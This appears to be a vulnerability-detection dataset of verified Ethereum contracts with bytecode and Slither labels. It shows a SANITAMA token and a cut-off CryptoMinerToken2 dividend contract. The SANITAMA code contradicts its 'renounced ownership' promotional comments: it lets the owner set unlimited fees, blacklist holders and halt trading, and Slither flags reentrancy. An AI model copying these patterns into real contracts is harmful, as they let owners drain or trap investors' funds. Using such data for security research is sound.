address
stringlengths
42
42
source_code
stringlengths
6.9k
125k
bytecode
stringlengths
2
49k
slither
stringclasses
664 values
id
int64
0
10.7k
0x906ddcd1dbd5e6b28b654088381122c241065603
// SPDX-License-Identifier: Unlicensed /** The strongest foundation of all has always been community. SaninTama – Also the Shiba Inu Killer from the Saitama, that is a decentralized experiment that intends to employ a community with the collective goal of solid organic growth. DeFi has become a repetitive cycle of pumps and dumps, and it’s hard to find a trustworthy project with a dedicated team. SaninTama emphasizes financial security. The fate of the project will be decided upon by the community. Welcome to SaninTama! 1,000,000,000,000 total supply 10,000,000,000 max buy 70% burn 3 ETH liquidity 5% TAX 100% LP tokens burned Renounced ownership No presale, 0 team tokens. **/ pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SANITAMA is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Sanin Saitama Inu"; string private constant _symbol = "SANITAMA"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 4; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 4; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x92705058993DfB7ED47345B283A3761FDBfFD504); address payable private _marketingAddress = payable(0x92705058993DfB7ED47345B283A3761FDBfFD504); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000000 * 10**9; uint256 public _maxWalletSize = 15000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610561578063dd62ed3e14610581578063ea1644d5146105c7578063f2fde38b146105e757600080fd5b8063a2a957bb146104dc578063a9059cbb146104fc578063bfd792841461051c578063c3c8cd801461054c57600080fd5b80638f70ccf7116100d15780638f70ccf7146104555780638f9a55c01461047557806395d89b411461048b57806398a5c315146104bc57600080fd5b80637d1db4a5146103f45780637f2feddc1461040a5780638da5cb5b1461043757600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038a57806370a082311461039f578063715018a6146103bf57806374010ece146103d457600080fd5b8063313ce5671461030e57806349bd5a5e1461032a5780636b9990531461034a5780636d8aa8f81461036a57600080fd5b80631694505e116101ab5780631694505e1461027a57806318160ddd146102b257806323b872dd146102d85780632fd689e3146102f857600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024a57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461196d565b610607565b005b34801561020a57600080fd5b5060408051808201909152601181527053616e696e2053616974616d6120496e7560781b60208201525b6040516102419190611a32565b60405180910390f35b34801561025657600080fd5b5061026a610265366004611a87565b6106a6565b6040519015158152602001610241565b34801561028657600080fd5b5060145461029a906001600160a01b031681565b6040516001600160a01b039091168152602001610241565b3480156102be57600080fd5b50683635c9adc5dea000005b604051908152602001610241565b3480156102e457600080fd5b5061026a6102f3366004611ab3565b6106bd565b34801561030457600080fd5b506102ca60185481565b34801561031a57600080fd5b5060405160098152602001610241565b34801561033657600080fd5b5060155461029a906001600160a01b031681565b34801561035657600080fd5b506101fc610365366004611af4565b610726565b34801561037657600080fd5b506101fc610385366004611b21565b610771565b34801561039657600080fd5b506101fc6107b9565b3480156103ab57600080fd5b506102ca6103ba366004611af4565b610804565b3480156103cb57600080fd5b506101fc610826565b3480156103e057600080fd5b506101fc6103ef366004611b3c565b61089a565b34801561040057600080fd5b506102ca60165481565b34801561041657600080fd5b506102ca610425366004611af4565b60116020526000908152604090205481565b34801561044357600080fd5b506000546001600160a01b031661029a565b34801561046157600080fd5b506101fc610470366004611b21565b6108c9565b34801561048157600080fd5b506102ca60175481565b34801561049757600080fd5b5060408051808201909152600881526753414e4954414d4160c01b6020820152610234565b3480156104c857600080fd5b506101fc6104d7366004611b3c565b610911565b3480156104e857600080fd5b506101fc6104f7366004611b55565b610940565b34801561050857600080fd5b5061026a610517366004611a87565b61097e565b34801561052857600080fd5b5061026a610537366004611af4565b60106020526000908152604090205460ff1681565b34801561055857600080fd5b506101fc61098b565b34801561056d57600080fd5b506101fc61057c366004611b87565b6109df565b34801561058d57600080fd5b506102ca61059c366004611c0b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d357600080fd5b506101fc6105e2366004611b3c565b610a80565b3480156105f357600080fd5b506101fc610602366004611af4565b610aaf565b6000546001600160a01b0316331461063a5760405162461bcd60e51b815260040161063190611c44565b60405180910390fd5b60005b81518110156106a25760016010600084848151811061065e5761065e611c79565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069a81611ca5565b91505061063d565b5050565b60006106b3338484610b99565b5060015b92915050565b60006106ca848484610cbd565b61071c843361071785604051806060016040528060288152602001611dbf602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f9565b610b99565b5060019392505050565b6000546001600160a01b031633146107505760405162461bcd60e51b815260040161063190611c44565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461079b5760405162461bcd60e51b815260040161063190611c44565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ee57506013546001600160a01b0316336001600160a01b0316145b6107f757600080fd5b4761080181611233565b50565b6001600160a01b0381166000908152600260205260408120546106b79061126d565b6000546001600160a01b031633146108505760405162461bcd60e51b815260040161063190611c44565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c45760405162461bcd60e51b815260040161063190611c44565b601655565b6000546001600160a01b031633146108f35760405162461bcd60e51b815260040161063190611c44565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461093b5760405162461bcd60e51b815260040161063190611c44565b601855565b6000546001600160a01b0316331461096a5760405162461bcd60e51b815260040161063190611c44565b600893909355600a91909155600955600b55565b60006106b3338484610cbd565b6012546001600160a01b0316336001600160a01b031614806109c057506013546001600160a01b0316336001600160a01b0316145b6109c957600080fd5b60006109d430610804565b9050610801816112f1565b6000546001600160a01b03163314610a095760405162461bcd60e51b815260040161063190611c44565b60005b82811015610a7a578160056000868685818110610a2b57610a2b611c79565b9050602002016020810190610a409190611af4565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7281611ca5565b915050610a0c565b50505050565b6000546001600160a01b03163314610aaa5760405162461bcd60e51b815260040161063190611c44565b601755565b6000546001600160a01b03163314610ad95760405162461bcd60e51b815260040161063190611c44565b6001600160a01b038116610b3e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610631565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bfb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610631565b6001600160a01b038216610c5c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610631565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d215760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610631565b6001600160a01b038216610d835760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610631565b60008111610de55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610631565b6000546001600160a01b03848116911614801590610e1157506000546001600160a01b03838116911614155b156110f257601554600160a01b900460ff16610eaa576000546001600160a01b03848116911614610eaa5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610631565b601654811115610efc5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610631565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3e57506001600160a01b03821660009081526010602052604090205460ff16155b610f965760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610631565b6015546001600160a01b0383811691161461101b5760175481610fb884610804565b610fc29190611cc0565b1061101b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610631565b600061102630610804565b60185460165491925082101590821061103f5760165491505b8080156110565750601554600160a81b900460ff16155b801561107057506015546001600160a01b03868116911614155b80156110855750601554600160b01b900460ff165b80156110aa57506001600160a01b03851660009081526005602052604090205460ff16155b80156110cf57506001600160a01b03841660009081526005602052604090205460ff16155b156110ef576110dd826112f1565b4780156110ed576110ed47611233565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113457506001600160a01b03831660009081526005602052604090205460ff165b8061116657506015546001600160a01b0385811691161480159061116657506015546001600160a01b03848116911614155b15611173575060006111ed565b6015546001600160a01b03858116911614801561119e57506014546001600160a01b03848116911614155b156111b057600854600c55600954600d555b6015546001600160a01b0384811691161480156111db57506014546001600160a01b03858116911614155b156111ed57600a54600c55600b54600d555b610a7a8484848461147a565b6000818484111561121d5760405162461bcd60e51b81526004016106319190611a32565b50600061122a8486611cd8565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106a2573d6000803e3d6000fd5b60006006548211156112d45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610631565b60006112de6114a8565b90506112ea83826114cb565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133957611339611c79565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138d57600080fd5b505afa1580156113a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c59190611cef565b816001815181106113d8576113d8611c79565b6001600160a01b0392831660209182029290920101526014546113fe9130911684610b99565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611437908590600090869030904290600401611d0c565b600060405180830381600087803b15801561145157600080fd5b505af1158015611465573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114875761148761150d565b61149284848461153b565b80610a7a57610a7a600e54600c55600f54600d55565b60008060006114b5611632565b90925090506114c482826114cb565b9250505090565b60006112ea83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611674565b600c5415801561151d5750600d54155b1561152457565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154d876116a2565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157f90876116ff565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ae9086611741565b6001600160a01b0389166000908152600260205260409020556115d0816117a0565b6115da84836117ea565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161f91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061164e82826114cb565b82101561166b57505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836116955760405162461bcd60e51b81526004016106319190611a32565b50600061122a8486611d7d565b60008060008060008060008060006116bf8a600c54600d5461180e565b92509250925060006116cf6114a8565b905060008060006116e28e878787611863565b919e509c509a509598509396509194505050505091939550919395565b60006112ea83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f9565b60008061174e8385611cc0565b9050838110156112ea5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610631565b60006117aa6114a8565b905060006117b883836118b3565b306000908152600260205260409020549091506117d59082611741565b30600090815260026020526040902055505050565b6006546117f790836116ff565b6006556007546118079082611741565b6007555050565b6000808080611828606461182289896118b3565b906114cb565b9050600061183b60646118228a896118b3565b905060006118538261184d8b866116ff565b906116ff565b9992985090965090945050505050565b600080808061187288866118b3565b9050600061188088876118b3565b9050600061188e88886118b3565b905060006118a08261184d86866116ff565b939b939a50919850919650505050505050565b6000826118c2575060006106b7565b60006118ce8385611d9f565b9050826118db8583611d7d565b146112ea5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610631565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461080157600080fd5b803561196881611948565b919050565b6000602080838503121561198057600080fd5b823567ffffffffffffffff8082111561199857600080fd5b818501915085601f8301126119ac57600080fd5b8135818111156119be576119be611932565b8060051b604051601f19603f830116810181811085821117156119e3576119e3611932565b604052918252848201925083810185019188831115611a0157600080fd5b938501935b82851015611a2657611a178561195d565b84529385019392850192611a06565b98975050505050505050565b600060208083528351808285015260005b81811015611a5f57858101830151858201604001528201611a43565b81811115611a71576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9a57600080fd5b8235611aa581611948565b946020939093013593505050565b600080600060608486031215611ac857600080fd5b8335611ad381611948565b92506020840135611ae381611948565b929592945050506040919091013590565b600060208284031215611b0657600080fd5b81356112ea81611948565b8035801515811461196857600080fd5b600060208284031215611b3357600080fd5b6112ea82611b11565b600060208284031215611b4e57600080fd5b5035919050565b60008060008060808587031215611b6b57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9c57600080fd5b833567ffffffffffffffff80821115611bb457600080fd5b818601915086601f830112611bc857600080fd5b813581811115611bd757600080fd5b8760208260051b8501011115611bec57600080fd5b602092830195509350611c029186019050611b11565b90509250925092565b60008060408385031215611c1e57600080fd5b8235611c2981611948565b91506020830135611c3981611948565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb957611cb9611c8f565b5060010190565b60008219821115611cd357611cd3611c8f565b500190565b600082821015611cea57611cea611c8f565b500390565b600060208284031215611d0157600080fd5b81516112ea81611948565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d5c5784516001600160a01b031683529383019391830191600101611d37565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db957611db9611c8f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f784c913aeae674f837f82731a6fd5aaec3493a39305703190973ba15fe981fc64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
7,200
0x07ff08a437c7340744ca24f9fb2f1858ea46543e
pragma solidity ^0.4.25; /* * https://minertoken.io * * Crypto miner token concept * * [✓] 4% Withdraw fee * [✓] 10% Deposit fee * [✓] 1% Token transfer * [✓] 33% Referal link * */ contract CryptoMinerToken2 { modifier onlyBagholders { require(myTokens() > 0); _; } modifier onlyStronghands { require(myDividends(true) > 0); _; } event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy, uint timestamp, uint256 price ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned, uint timestamp, uint256 price ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event Transfer( address indexed from, address indexed to, uint256 tokens ); string public name = "Crypto Miner Token 2"; string public symbol = "CMT2"; uint8 constant public decimals = 18; uint8 constant internal entryFee_ = 10; uint8 constant internal transferFee_ = 1; uint8 constant internal exitFee_ = 4; uint8 constant internal refferalFee_ = 33; uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2 ** 64; uint256 public stakingRequirement = 50e18; mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; uint256 internal tokenSupply_; uint256 internal profitPerShare_; function buy(address _referredBy) public payable returns (uint256) { purchaseTokens(msg.value, _referredBy); } function() payable public { purchaseTokens(msg.value, 0x0); } function reinvest() onlyStronghands public { uint256 _dividends = myDividends(false); address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; uint256 _tokens = purchaseTokens(_dividends, 0x0); emit onReinvestment(_customerAddress, _dividends, _tokens); } function exit() public { address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if (_tokens > 0) sell(_tokens); withdraw(); } function withdraw() onlyStronghands public { address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; _customerAddress.transfer(_dividends); emit onWithdraw(_customerAddress, _dividends); } function sell(uint256 _amountOfTokens) onlyBagholders public { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; if (tokenSupply_ > 0) { profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice()); } function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); if (myDividends(true) > 0) { withdraw(); } uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100); uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); uint256 _dividends = tokensToEthereum_(_tokenFee); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = 